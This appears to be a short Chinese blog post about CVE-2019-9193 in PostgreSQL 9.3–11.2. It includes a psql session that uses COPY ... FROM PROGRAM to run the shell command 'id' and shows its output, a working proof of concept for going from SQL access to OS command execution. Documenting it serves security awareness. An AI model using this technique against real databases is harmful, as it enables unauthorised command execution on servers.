CVE-2019–9193所谓的psql的提权漏洞？

最新推荐文章于 2023-12-23 00:32:38 发布

caiqiiqi

最新推荐文章于 2023-12-23 00:32:38 发布

阅读量1.2k

点赞数

分类专栏：安全

本文链接：https://blog.csdn.net/caiqiiqi/article/details/88857650

版权

安全专栏收录该内容

264 篇文章 9 订阅

订阅专栏

来源：https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
翻译：https://nosec.org/home/detail/2368.html

描述

PostgreSQL 从9.3到最新的11.2版本默认开启，影响Linux，Windows，和Mac。可从SQL语句执行权限的用户提权到系统命令执行权限。

$ psql -V
psql (PostgreSQL) 10.6 (Ubuntu 10.6-0ubuntu0.18.04.1)
postgres@ubuntu:~$ psql
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.

postgres=# create table cmd_exec(cmd_output text);
CREATE TABLE
postgres=# copy cmd_exec from program 'id';
COPY 1
postgres=# select * from cmd_exec;
                               cmd_output
------------------------------------------------------------------------
 uid=103(postgres) gid=118(postgres) groups=118(postgres),105(ssl-cert)
(1 row)

在这里插入图片描述